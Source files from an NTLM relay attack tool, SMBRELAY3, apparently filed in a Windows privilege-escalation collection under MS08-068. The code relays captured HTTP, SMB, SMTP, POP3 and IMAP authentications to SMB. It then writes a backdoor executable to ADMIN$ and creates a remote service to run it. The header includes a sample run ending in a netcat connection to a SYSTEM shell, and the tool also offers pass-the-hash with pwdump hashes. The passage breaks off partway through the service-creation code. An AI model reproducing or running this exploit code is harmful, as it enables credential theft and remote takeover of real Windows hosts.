uint16 flags;
uint32 timeout; //0x00000000
uint16 reserved2;
uint16 ParameterCount;
uint16 ParameterOffset;
uint16 DataCount;
uint16 DataOffset;
uint8 SetupCount;
uint8 reserved3;
uint16 SubCommand; //0x0001 - Find_First2
uint16 ByteCount;
uint8 padding[3];
uint16 SearchAttributes;
uint16 SearchCount;
uint16 Searchflags;
uint16 LevelOfInterest;
uint32 StorageType;
uint8 *SearchPattern;//[100];
//uint8 Find_First2[18]; //lo metemos hardcodeado.
} FIND_FIRST2;
/*
uint8 padding[3];
uint16 SearchAttributes;
uint16 SearchCount;
uint16 Searchflags;
uint16 LevelOfInterest;
uint32 StorageType;
uint8 *SearchPattern;//[100];
*/
typedef struct {
uint8 WordCount; //0x24
uint16 FID; //0xff no further command
uint32 LastWrite;
uint16 ByteCount;
} CLOSE;
typedef struct {
uint8 WordCount; //0x24
uint8 AndXCommand; //0xff no further command
uint8 reserved1; //0x00
uint16 AndXOffset;
uint8 reserved2;
uint16 FilenameLen;
uint32 CreationFlags; //0x16
uint32 RootFID;
uint32 AccessMask;//0x30196
uint32 AllocationSize; //Size del fichero
uint32 AllocationSizeHigh;
uint32 FileAttributes;
uint32 ShareAccess;
uint32 Disposition; //0x05000000
uint32 CreateOptions;
uint32 Impersonation;
uint8 SecurityFlags;
uint16 ByteCount;
uint8 padding;
} NTCreateAndX;
typedef struct {
uint32 MaxLenLow;
uint32 MaxLenHigh;
uint32 Lenght;
uint8 data[1024];
} DataBlock;
typedef struct {
uint8 ContextHandle[20];
DataBlock ServiceName;
uint32 unknown; // ?? 0002
DataBlock ServiceDescription;
uint32 unknown1; //0x000f01ff
uint32 ServiceType;
uint32 StartType;
uint32 unknown2; //0x0000000
DataBlock path;
uint8 blank[28];
} CreateServiceWStruct;
typedef struct {
uint8 ContextHandle[20];
/*
uint32 MaxLenLow;
uint32 MaxLenHigh;
uint32 Lenght;
uint8 buffer[512]; //service Name
*/
DataBlock ServiceName;
//uint16 unknown;
uint32 flags; //22 00
} OpenServiceAStruct;
#ifndef WIN32
#define SERVICE_QUERY_CONFIG 1
#define SERVICE_CHANGE_CONFIG 2
#define SERVICE_QUERY_STATUS 4
#define SERVICE_ENUMERATE_DEPENDENTS 8
#define SERVICE_START 16
#define SERVICE_STOP 32
#define SERVICE_PAUSE_CONTINUE 64
#define SERVICE_INTERROGATE 128
#define SERVICE_USER_DEFINED_CONTROL 256
#define SERVICE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SERVICE_QUERY_CONFIG|SERVICE_CHANGE_CONFIG|SERVICE_QUERY_STATUS|SERVICE_ENUMERATE_DEPENDENTS|SERVICE_START|SERVICE_STOP|SERVICE_PAUSE_CONTINUE|SERVICE_INTERROGATE|SERVICE_USER_DEFINED_CONTROL)
#define SC_MANAGER_ALL_ACCESS 0xf003f
#define SC_MANAGER_CONNECT 1
#define SC_MANAGER_CREATE_SERVICE 2
#define SC_MANAGER_ENUMERATE_SERVICE 4
#define SC_MANAGER_LOCK 8
#define SC_MANAGER_QUERY_LOCK_STATUS 16
#define SC_MANAGER_MODIFY_BOOT_CONFIG 32
// Service TYPE
#define SERVICE_WIN32_OWN_PROCESS 0x00000010
#define SERVICE_WIN32_SHARE_PROCESS 0x00000020
//start TYPE
#define SERVICE_BOOT_START 0x00000000
#define SERVICE_SYSTEM_START 0x00000001
#define SERVICE_AUTO_START 0x00000002
#define SERVICE_DEMAND_START 0x00000003
#define SERVICE_DISABLED 0x00000004
#endif
//Build SMB Packet
smheader *BuildSmbPacket(smheader *PreviousSmbMessage,uint8 SmbCommand,uint8 SubCommand, void *data, int DataSize);
//Stub Generation for OpenServices Functions..
int CreateServiceWStub(char *destionation,char *ContextHandle,char *ServiceName, char *ServiceDescription,char *path, int StartType, int ServiceType);
int ChangeServiceConfigWStub(char *destionation,char *ContextHandle,char *path, int StartType, int ServiceType);
int OpenServiceWStub(char *destionation,char *ContextHandle,char *servicename, int flags);
int OpenScManagerWStub(char *destionation, char *data, int flags);
//Tree Connect
int BuildTreeConnectAndXStub(char *destination,char *password, char *resource, char *service);
//SMB Negotiation
char *AddDialect(char *data, char *name, uint8 type, int *PacketSize);
#ifdef WIN32
CtxItem *AddBinddingInformation(CtxItem *CurrentCtx, char *Abstract, char *Transfer, int MayorVersion, int MinorVersion,int *PacketSize);
#endif
void SetEnviroment(uint16 sessionUserID, uint16 sessionTreeID, uint16 sessionFID);
#endif
97-Windows提权/MS08-068/src/smbrelay.h
+51
View File
@@ -0,0 +1,51 @@
#ifndef _SBMRELAY_H_
#define _SMBRELAY_H_
#define _CRT_SECURE_NO_DEPRECATE
#include <stdio.h>
#ifdef WIN32
#include <windows.h>
#define socklen_t int
#endif
#include "misc.h"
#include "smb.h"
#include "ntlm.h"
#define GetNTLMPacketFromSmbPacket(a) ((char*)a+0x2b+4)
#define GetNTLMPacket3FromSmbPacket(a) ((char*)a+ sizeof(smheader) -sizeof(((smheader*)a)->buffer) +sizeof(SessionSetupAndX))
#define SmbPacketLen(a) (SREV(a->SmbMessageLength)+4)
//#define PrintErrorMessage(a) printf("%s",a); return(0);
//#define PrintErrorMessage(a) printf(a); return(0);
#define ATTACK_NONE 0x00
#define REPLAY_HTTP 0x01
#define REPLAY_SMB 0x02
#define REPLAY_POP3 0x03
#define REPLAY_IMAP 0x04
#define REPLAY_SMTP 0x05
#define REPLAY_DNS 0x06
#define REPLAY_TELNET 0x07
#define REPLAY_MSSQL 0x08
#define PSEXEC 0x10
#define debug (verbose==2)
//Functions
//int InitSmbHandshake(RELAY *relay,char *Buffer, int BufferSize);
int HandleIncommingSmbRequest(RELAY *relay, char *destinationhostname, int destinationport);
int ReplayAttackAgainst(int Protocol,char *hostname, int port);
int StablishNTLMSession(RELAY relay,char *host, char *lpUserName, char *lpPassword);
int ExecuteCode( RELAY relay);
#endif
97-Windows提权/MS08-068/src/smbrelay3.cpp
+892
View File
@@ -0,0 +1,892 @@
/*
*
* SMBRELAY 3 - NTLM replay attack (version 1.0 ) public version
* (c) 2008 Andres Tarasco Acuña ( atarasco _at_ gmail.com )
* URL: http://tarasco.org/Web/tools.html
*
*
* This new version of smbrelay have been developed for supporting more attacks than previous
* versions and should work under win32 and linux. (SMB to SMB attack needs a free 445/tcp port
* so this attack can be "only" executed under linux or under modified win32 system.
*
* To run smbrelay3 under win32 change the value TransportBindName="\\Device\\" to TransportBindName=""
* under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters and then reboot.
*
*
* This is the first public tool allowing attacks against other protocols like HTTP. This tool
* couldnt be written without Iñaki Lopez NTLM library. :)
*
* Main goal of SMBRELAY3 is to execute remote code when receiving incoming SMB/HTTP/IMAP/POP3/SMTP connections
* from network users. If the incoming request is from an user with with administrative privileges or just
* "advanced user" privileges on the target system, you will get automatically get a system shell.
*
* If the incoming connection is from a simple user, srvcheck attack is executed with replayed credentials.
*
* This smbrelay3 release implements the following attacks:
* - SMB to SMB relay
* - HTTP to SMB relay
* - SMTP to SMB relay
* - POP3 to SMB relay
* - IMAP to SMB relay
*
* Also there is another feature named "--psexec attack" that have been added. This feature allows remote shells,
* like sysinternals psexec, under non win32 plataforms. This mode allows to use the native pwdump output hash to
* authenticate against the remote service. You dont need anymore to crack your NTLM hashes in order to connect to
* a remote service.
*
* Lots of features can be added in the future like binding stabilished connections to port 445 and allowing
* incoming connections. However, just attacking administrative accounts seems to be the fast choice ;)
*
* Here is an HTTP to SMB attack example:
*
C:\smbrelay3>smbrelay3.exe --ListForHTTPRequests --AlternativePort 81 --v
SmbRelay3 - SMB to SMB and HTTP to SMB replay attack
(c) 2007 - 2008 Andres Tarasco - [email protected]
Website: http://www.tarasco.org
[+] Listening HTTP thread at port 81
[+] Accepted Connection - Replaying against 192.168.1.2
[+] Read First HTTP Request...
[+] Sending Default HTTP 401 Error response and asking for authentiation NTLM
[+] Read Second HTTP Request with Auhorization Header..
Init HTTP to SMB attack - Connecting with: 192.168.1.2:445
[+] Sending SMB Authentication Handshake
[+] Received SMB Message with NTLM v2 packet
[+] Sending NTLM Challenge from SMB Server to the HTTP Client
[+] Received Final Authentication packet from remote HTTP Client
UserName: Administrator
DomainName: 192.168.1.36
WorkstationName: SERVIDOR
[+] Trying to authenticate to remote SMB as Administrator
[+] Sending Final SMB Authentication packet with NTLM Message type 3
[+] SessionSetupAndX Completed
[+] Authenticacion against 192.168.1.2 Succeed with username Administrator
[+] Connecting against IPC$
[+] Trying to connect to admin$
[+] Creating Remote File smrs.exe under admin$
[+] Writing File smrs.exe into admin$
[+] Closing File handle - FID: 800f
[+] Opening Remote Service Control Manager pipe \svcctl
[+] Sending RPC BindRequest to SCM pipe
[+] Reading Response from Binding Request
[+] Opening Remote Service Control Manager
[+] Creating Remote Service
[+] Opening Remote Service
[+] Starting Remote Service...
[+] Now Remote Service is running... Try to connect to 192.168.1.2:8080
C:\smbrelay3>nc 192.168.1.2 8080
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>
Notes:
-------
1- When the remote connection tries to authenticate itself as an anonymous connection, smbrelays answers with an
STATUS_LOGON_FAILURE Message. That will force the incoming client to authenticate themself as an user instead of using null session.
2- SMB to SMB relay does not work replaying the authentication against the same incoming Windows 2003 client.
Windows 2003 security baseline do not allow to reuse the same NTLMv2 Challenge for both incomming and outgoing connection.
Its recomended to use the "--SMBDestinationHost" parameter as an alternative host to compromise.
Note: This restriction only aplies to SMBtoSMB replay attacks. Other protocols do not suffer from the same restriction.
3- For more information, check the readme file.
4- Verbose parameter (--v or --vv) is not working properly yet, fix it yourself or wait for an improved release (maybe never)
5- This is the public release. Improved relay attacks like HTTP/SMB --to--> "HTTP OWA email download" can be done just tweaking the code. Link it with
your favorite HTTP library (like FSCAN HTTP Core) and do it yourself =) (do not ask)
6- To compile smbrelay3 under linux, just type "g++ -lpthread -lssl *.cpp -o smbrelay3"
*/
#include "smbrelay.h"
#include "httprelay.h"
#include "smtprelay.h"
#include "pop3relay.h"
#include "imaprelay.h"
#include "smb.h"
#include "ntlm.h"
#include "misc.h"
#include "payload.h"
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
const uint8 SpoofedChallengeKey[]="\x11\x22\x33\x44\x55\x66\x77\x88";
#ifdef WIN32
#pragma comment(lib, "ws2_32.lib")
#endif
char lpBackdoorFile[]="smrs.exe";
int ListForSMBRequests=0;
int ListForHTTPRequests=0;
int ListForSMTPRequests=0;
int ListForIMAPRequests=0;
int ListForPOP3Requests=0;
int ProxySMB=0;
int PsExec=0;
int AdminResourceAvailable;
int ListeningPort; //Listen port
int DestinationPort=445;
char *DestinationHost=NULL;
char *lpUsername;
char *lpPassword;
int verbose=0; //Verbose Level
char ftphost[100]="";
int ftpport=21;
char ftpusername[100]="a";
char ftppass[100]="a";
char lpSrcHostname[256]="SmbRelay3";
extern uint16 MultpleID;
/***************************************************************************************************************/
int HandleIncommingSmbRequest(RELAY *relay, char *destinationhostname, char *AlternateDestinationHostname, int destinationport, int ReconnectToSameTarget)
{
unsigned char buf[4096];
unsigned char buf2[4096];
smheader *SmbPacket1,*SmbPacket2;//,*SmbPacket3;
smheader *errorpacket;
smheader *NegotiateProtocol;
smheader *NegotiateProtocolResponse;
int i;
char *p;
int leido;
char clientRequest[4096];
uint16 OriginalUserID;
//Conectando con el servidor y Negociando SMB
CleanLine(verbose);
if (ReconnectToSameTarget) {
printf("[+] Connecting with remote SMB Server: %s:%i\r",destinationhostname,destinationport);
} else {
printf("[+] Connecting with Alternative SMB Server: %s:%i\r",destinationhostname,destinationport);
}
i=ConnectToRemoteHost(relay,destinationhostname,destinationport);
if (!i) {
CleanLine(verbose);
printf("[-] Unable to connect to remote host\r");
if (!AlternateDestinationHostname) {
return(0);
} else {
return (HandleIncommingSmbRequest(relay,AlternateDestinationHostname,NULL,destinationport,0));
}
}
CleanLine(verbose);
printf("[+] Sending SMB Protocol Handshake against remote SMB Server: %s\r",destinationhostname);
//if (verbose) printf("\n");
p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i);
//p = AddDialect(p,"PC NETWORK PROGRAM 1.0", 0x02,&i);
p = AddDialect(p,"LANMAN1.0", 0x02,&i);
p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i);
p = AddDialect(p,"LM1.2X002", 0x02,&i);
p = AddDialect(p,"LANMAN2.1", 0x02,&i);
p = AddDialect(p,"NT LM 0.12", 0x02,&i);
NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i);
free(p);
i=SendBytesAndWaitForResponse(relay->destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(NegotiateProtocol);
if (i<=0){
CleanLine(verbose);
printf("[-] Initial SMBHandShake (LanManager Negotiation) Failed\n");
return(0);
}
//Enviando peticiones de negociacion con el servidor para obtener el challenge
SmbPacket1=BuildSmbPacket1();
if (debug) {
CleanLine(verbose);
printf("\n[*] Dumping SMB Packet With NTLM Message Type 1\n");
DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1));
}
CleanLine(verbose);
printf("[+] Sending SMB packet with NTLM message I against remote SMB Server:%s\r",destinationhostname);
SmbPacket2=GetSmbPacket2(relay,SmbPacket1);
free(SmbPacket1);
if (SmbPacket2==NULL) {
printf("[-] Unable to receive SMB Packet with NTLM Message Type 2\n");
return(0);
}
if (SmbPacket2->NtStatus!=0xc0000016) {
printf("[-] NTLM Negotiation Failed (Status = 0x%8.8x)\n",SmbPacket2->NtStatus);
return(0);
}
tSmbNtlmAuthChallenge *challenge=(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2);
if (verbose) {
printf("[*] Dumping Received SMB Packet with NTLM Message2\r");
CleanLine(verbose);
dumpAuthChallenge(stderr,challenge);
if (debug) DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2));
}
if (ReconnectToSameTarget)
{
//HACK! Windows 2003 does not support SMBtoSMB relay against the same host, so we are going to check signatures
//IF the system is protected, try with an alternate host
// printf("blob: %i\n",( (SessionSetupAndXResponse*)(SmbPacket2->buffer))->SecurityBloblength);
// DumpMem((char*) SmbPacket2->buffer + sizeof(SessionSetupAndXResponse) + ( (SessionSetupAndXResponse*)(SmbPacket2->buffer))->SecurityBloblength +1,40);
Widetochar((char*)buf2,(char*) SmbPacket2->buffer + sizeof(SessionSetupAndXResponse)+ ( (SessionSetupAndXResponse*)(SmbPacket2->buffer))->SecurityBloblength +1,40);
//printf("Native OS: %s\n",buf2);
if ( (memcmp(buf2,"Windows 2003",12)==0) || (memcmp(buf2,"Windows Server 2003",19)==0) || (memcmp(buf2,"Windows Vista",19)==0) )
{
closesocket(relay->destination);
CleanLine(verbose);
if (AlternateDestinationHostname)
{
printf("[-] Incoming client is Windows 2003. Trying alternative SMB Host %s\r",AlternateDestinationHostname);
return ( HandleIncommingSmbRequest(relay, AlternateDestinationHostname,NULL,destinationport,0) );
} else {
printf("[-] Incoming client is Windows >= 2003. Unable to attack the same host\n");
printf("[-] Next time try to add an extra target with --SMBDestinationHost\r");
return(0);
}
}
}
//Negociando LanManager con el cliente
/******************init*******************************/
CleanLine(verbose);
printf("[+] Negotiating SMB LanManager Protocol with incomming client\r");
leido=recv( relay->source,clientRequest,sizeof(clientRequest),0 );
MultpleID=((smheader*)clientRequest)->multipleID;
NegotiateProtocolResponse=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,CONTINUERESPONSE,NULL,0);
send(relay->source,(char*)NegotiateProtocolResponse,SmbPacketLen(NegotiateProtocolResponse),0);
//leyendo peticion SMB del cliente (paquete NTLMv1)
CleanLine(verbose);
printf("[+] Reading Incoming request with NTLM packet type 1\r");
leido=recv( relay->source,clientRequest,sizeof(clientRequest),0 );
if (debug) {
CleanLine(verbose);
printf("[*] Dumping received SMB Packet ( %i bytes )\n",leido);
DumpMem(clientRequest,leido);
}
//printf("[+] Answering Incoming request with SMB packet with NTLM type 2 (Session key)\r");
CleanLine(verbose);
printf("[+] Sending Challenge Key and waiting for authentication packet\r");
OriginalUserID=SmbPacket2->UserID;
MultpleID+=64;
SmbPacket2->multipleID=MultpleID;
leido=SendBytesAndWaitForResponse(relay->source,(char*)SmbPacket2, SmbPacketLen(SmbPacket2),(char*)clientRequest,sizeof(clientRequest),SMBWAITTIMEOUT);
if (leido==0) {
CleanLine(verbose);
printf("[-] Error while reading NTLM type3 packet from incomming SMB connection\n");
return(0);
}
if (debug) {
CleanLine(verbose);
printf("[*] Dumping received SMB Packet ( %i bytes )\n",leido);
DumpMem((char*)clientRequest,leido);
}
if ( ((char*)clientRequest)[0] == SESSIONLOGOFF ) {
// if ( ((smheader*)clientRequest)->SmbMessageType == SESSIONLOGOFF ) {
CleanLine(verbose);
printf("[-] Error. The client forced LogOff and disconnected.\n");
return(0);
}
//NULL SESSION
if ( ((tSmbNtlmAuthResponse *)GetNTLMPacket3FromSmbPacket((smheader *)clientRequest))->uUser.len==0) {
CleanLine(verbose);
printf("[-] Error. The client tried to authenticate with a Null Session.\n");
errorpacket=BuildSmbPacket((smheader*)clientRequest,SESSIONSETUPANDX,ERRORRESPONSE,NULL,0);
errorpacket->flags=SmbPacket2->flags;
if (debug) {
DumpMem((char*)errorpacket,SmbPacketLen(errorpacket));
}
send(relay->source,(char*)errorpacket,SmbPacketLen(errorpacket),0);
shutdown(relay->source,0);
return(0);
}
((smheader*)clientRequest)->UserID=OriginalUserID;
i=SendBytesAndWaitForResponse(relay->destination,(char*)clientRequest, SmbPacketLen(((smheader*)clientRequest)),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
if (i<=0){
printf("[-] Error reading Server Authentication Response \n");
return(0);
}
if (debug) {
printf("[*] SessionSetupAndX Completed - Dumping received packet \n");
DumpMem(buf,i);
}
if (((smheader*)buf)->NtStatus!=0x00000000) {
printf("[+] SessionSetupAndX Completed. Authentication Failed \n");
errorpacket=BuildSmbPacket((smheader*)clientRequest,SESSIONSETUPANDX,ERRORRESPONSE,NULL,0);
errorpacket->flags=SmbPacket2->flags;
send(relay->source,(char*)errorpacket,SmbPacketLen(errorpacket),0);
return(0);
}
if ( ((SessionSetupAndXResponse*)((smheader*)buf)->buffer)->Action & 0x0001 )
{
printf("[-] Authentication against Remote Host Failed. (Connected as Guest)\n");
errorpacket=BuildSmbPacket((smheader*)clientRequest,SESSIONSETUPANDX,ERRORRESPONSE,NULL,0);
errorpacket->flags=SmbPacket2->flags;
send(relay->source,(char*)errorpacket,SmbPacketLen(errorpacket),0);
return(0);
}
if (verbose) {
printf("[+] Sending an STATUSOK Message to the client \n");
}
errorpacket=BuildSmbPacket((smheader*)clientRequest,SESSIONSETUPANDX,CONTINUERESPONSE,NULL,0);
errorpacket->flags=SmbPacket2->flags;
send(relay->source,(char*)errorpacket,SmbPacketLen(errorpacket),0);
shutdown(relay->source,0);
printf("[+] SessionSetupAndX Completed. Authenticacion Succeed \n");
ExecuteCode( *relay);
return(0);
}
/*********************************************/
int ReplayAttackAgainst(int srcProtocol, int dstProtocol,int port,char *hostname, int DestinationPort)
{
//Wait for incoming HTTP Requests and try
SOCKET wsl;
struct sockaddr_in door;
RELAY *relay;
char tmp[256];
int clientLen;
if((wsl = socket(PF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) return 1;
door.sin_family = AF_INET;
door.sin_addr.s_addr = htonl(INADDR_ANY);
door.sin_port = htons(port);
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
printf("[-] Error. Unable to bind to port %i\n",port);
closesocket(wsl);
return 0;
}
if(listen(wsl, SOMAXCONN) == INVALID_SOCKET) {
printf("[-] Error. Unable to listen at port :%i\n",port);
closesocket(wsl);
return 0;
}
while (1) {
printf("[+] Listening for incomming connections at port %i\r",port);
relay=(RELAY*)malloc(sizeof(RELAY));
clientLen=sizeof(relay->sourceaddr);
relay->source=accept(wsl,(struct sockaddr *) &relay->sourceaddr,(socklen_t*)&clientLen);
if (hostname)
{
strcpy(tmp,hostname);
} else {
strcpy(tmp,inet_ntoa(relay->sourceaddr.sin_addr));
}
strcpy(relay->hostname,tmp);
printf("[+] Accepted Connection - Replaying against %s\n",tmp);
relay->dstProtocol = dstProtocol;
//if (verbose) printf("\n");
switch (srcProtocol)
{
case REPLAY_HTTP:
HandleIncommingHTTPRequest(relay,tmp,DestinationPort);
break;
case REPLAY_SMB:
HandleIncommingSmbRequest(relay,inet_ntoa(relay->sourceaddr.sin_addr),hostname,DestinationPort,1);
break;
case REPLAY_SMTP:
HandleIncommingSMTPRequest(relay,tmp,DestinationPort);
break;
case REPLAY_POP3:
HandleIncommingPOP3Request(relay,tmp,DestinationPort);
break;
case REPLAY_IMAP:
HandleIncommingIMAPRequest(relay,tmp,DestinationPort);
break;
default:
printf("[-] protocol %i not supported or implemented\n",srcProtocol);
return(0);
break;
}
closesocket(relay->destination);
closesocket(relay->source);
free(relay);
}
return(1);
}
/*********************************************/
int StablishNTLMSession(RELAY relay,char *host, char *lpUserName, char *lpPassword)
{
unsigned char buf[4096];
smheader *SmbPacket1,*SmbPacket2,*SmbPacket3;
smheader* NegotiateProtocol;
int i;
char *p;
printf("[+] Sending SMB Authentication Handshake \r");
p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i);
p = AddDialect(p,"LANMAN1.0", 0x02,&i);
p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i);
p = AddDialect(p,"LM1.2X002", 0x02,&i);
p = AddDialect(p,"LANMAN2.1", 0x02,&i);
p = AddDialect(p,"NT LM 0.12", 0x02,&i);
NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i);
free(p);
i=SendBytesAndWaitForResponse(relay.destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(NegotiateProtocol);
//i=InitSmbHandshake(&relay,(char*)buf,sizeof(buf));
if (i<=0){
printf("[+] Initial SMBHandShake (LanManager Negotiation) Failed \n");
return(0);
}
SmbPacket1=BuildSmbPacket1();
if (debug) {
printf("\n[*] Dumping SMB Packet With NTLM Message Type 1 \n");
DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1));
}
SmbPacket2=GetSmbPacket2(&relay,SmbPacket1);
free(SmbPacket1);
if (SmbPacket2==NULL) {
printf("[-] Unable to receive SMB Packet with NTLM Message Type 2 \n");
free(SmbPacket2);
return(0);
}
if (SmbPacket2->NtStatus!=0xc0000016) {
printf("[-] NTLM Negotiation Failed (Status = 0x%8.8x)\n",SmbPacket2->NtStatus);
free(SmbPacket2);
return(0);
}
tSmbNtlmAuthChallenge *challenge=(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2);
if (verbose) {
printf("[*] Dumping Received SMB Packet with NTLM Message2\n");
dumpAuthChallenge(stderr,challenge);
if (debug) DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2));
}
SmbPacket3=GetSmbPacket3(SmbPacket2,lpUserName, lpPassword,NULL,lpSrcHostname,(tSmbNtlmAuthResponse*)NULL); //<- anonymous connection under windows 2000
free(SmbPacket2);
if (debug) {
printf("\n[*] Dumping Generated SMB Packet with NTLM Message3\n");
DumpMem((char*)SmbPacket3,SmbPacketLen(SmbPacket3));
}
i=SendBytesAndWaitForResponse(relay.destination,(char*)SmbPacket3, SmbPacketLen(SmbPacket3),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(SmbPacket3);
//free(SmbPacket2);
if (i<=0){
printf("[-] Error reading Server Authentication Response \n");
return(0);
}
if (debug) {
printf("[*] SessionSetupAndX Completed - Dumping received packet \n");
DumpMem(buf,i);
}
if (((smheader*)buf)->NtStatus!=0x00000000) {
printf("[-] SessionSetupAndX Completed \n");
printf("[-] Authentication against Remote Host Failed (Error: 0x%8.8X\n",((smheader*)buf)->NtStatus!=0x00000000);
return(0);
}
if ( ((SessionSetupAndXResponse*)((smheader*)buf)->buffer)->Action & 0x0001 )
{
printf("[-] Authentication against Remote Host Failed. (Connected as Guest)\n");
return(0);
}
SetEnviroment(((smheader*)buf)->UserID,0,0);
printf("[+] Authentication against %s Succeed as %s\n",host,lpUserName);
return(1);
/**************/
}
/*********************************************/
int ExecuteCode( RELAY relay)
{
unsigned char buf[4096];
char ServicePath[4096];
char path[256];
smheader *packet;
int i;
uint16 FID;
uint8 ContextHandle[20 + 8]; // Alloc 8 more bytes needed by StartServiceW() stub
int len;
char data[4046];
int status;
CtxItem *ctx;
//CONNECT TO IPC$
memset(buf,'\0',sizeof(buf));
memset(ContextHandle,'\0',sizeof(ContextHandle));
//sprintf(path,"\\\\%s\\IPC$",inet_ntoa(relay.destinationaddr.sin_addr));
sprintf(path,"\\\\%s\\IPC$",relay.hostname);
i=BuildTreeConnectAndXStub((char*)buf,"",path,"?????");
packet=BuildSmbPacket((smheader*)NULL,TREECONNETANDX,0,buf,i);
printf("[+] Connecting against %s\r",path);
if (verbose)
{
printf("\n");
if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
}
i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(packet);
if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
printf("[-] Error. Unable to connect to IPC$ \n");
return(0);
}
//Copy remote file to admin$
status=WriteRemoteFile(relay, (smheader*)buf,lpBackdoorFile );
//Bind to openSCManager
packet=BuildSmbPacket((smheader*)buf,NTCREATEANDX,0,(void*)"\\svcctl",0);
printf("[+] Opening Remote Service Control Manager pipe \\svcctl \r");
if (verbose)
{
printf("\n");
if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
}
i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(packet);
if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
printf("[-] Error. Unable to Open Control Manager pipe \\svcctl \n");
return(0);
}
//Save "\\svcctl" File Identification (FID) porque sera utilizado mas adelante en la peticion ReadAndX
memcpy((char*)&FID,((smheader*)buf)->buffer+6,2);
//Enviamos una peticion RPC binding
#ifdef WIN32
ctx=(CtxItem *)AddBinddingInformation(NULL,"367abb81-9844-35f1-ad32-98f038001003","8a885d04-1ceb-11c9-9fe8-08002b104860",2,0,&i);
#else
//HACK: We need to generate an uuidtostring() function for linux
i = sizeof(CtxItem)*2;//dcerpcbind->NumberOfCtx;
ctx=(CtxItem*)malloc(i);//dcerpcbind->NumberOfCtx);
ctx[0].ContextID=0;
ctx[0].NumberOfTransItems=1;
ctx[0].padding=0;
ctx[0].AbstractSyntaxis.MayorVersion=2;
ctx[0].AbstractSyntaxis.MinorVersion=0;
memcpy((char*)ctx[0].AbstractSyntaxis.uuid,"\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03",16);
ctx[0].TransferSyntaxis.MayorVersion=2;
ctx[0].TransferSyntaxis.MinorVersion=0;
memcpy((char*)ctx[0].TransferSyntaxis.uuid,"\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60",16);
ctx[1].ContextID=1;
ctx[1].NumberOfTransItems=1;
ctx[1].padding=0;
ctx[1].AbstractSyntaxis.MayorVersion=2;
ctx[1].AbstractSyntaxis.MinorVersion=0;
memcpy((char*)ctx[1].AbstractSyntaxis.uuid,"\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03",16);
ctx[1].TransferSyntaxis.MayorVersion=1;
ctx[1].TransferSyntaxis.MinorVersion=0;
memcpy((char*)ctx[1].TransferSyntaxis.uuid,"\x2c\x1c\xb7\x6c\x12\x98\x40\x45\x01\x00\x00\x00\x00\x00\x00\x00",16);
#endif
packet=BuildSmbPacket((smheader*)buf,WRITEANDX,RPCBIND,ctx,i);
free(ctx);
if (verbose)
{
printf("[*] Sending RPC BindRequest to SCM pipe \n");
if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
}
i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(packet);
if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
printf("[-] Error. Unable to bind to SCM pipe \n");
return(0);
}
//Leemos la respuesta del rpc binding. hay que hacerlo en otro paquete para que funcione correctamente.
//De lo contrario obtenemos el error pipe bussy
packet=BuildSmbPacket((smheader*)buf,READANDX,0,NULL,0);
((ReadAndX*)packet->buffer)->FID=FID;
if (verbose)
{
printf("[*] Reading Response from Binding Request \n");
if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
}
i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(packet);
if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
printf("[-] Error. Bad response from last Bindding attempt \n");
return(0);
}
//Open SCMANAGER for Writting...
sprintf(path,"\\\\%s",inet_ntoa(relay.destinationaddr.sin_addr));
len=OpenScManagerWStub(data,path,SC_MANAGER_CREATE_SERVICE) ;
packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,OPENSCMANAGER,(char*)data,len);
((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID;
printf("[+] Opening Remote Service Control Manager (Creating Service) \r");
if (verbose)
{
printf("\n");
if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
}
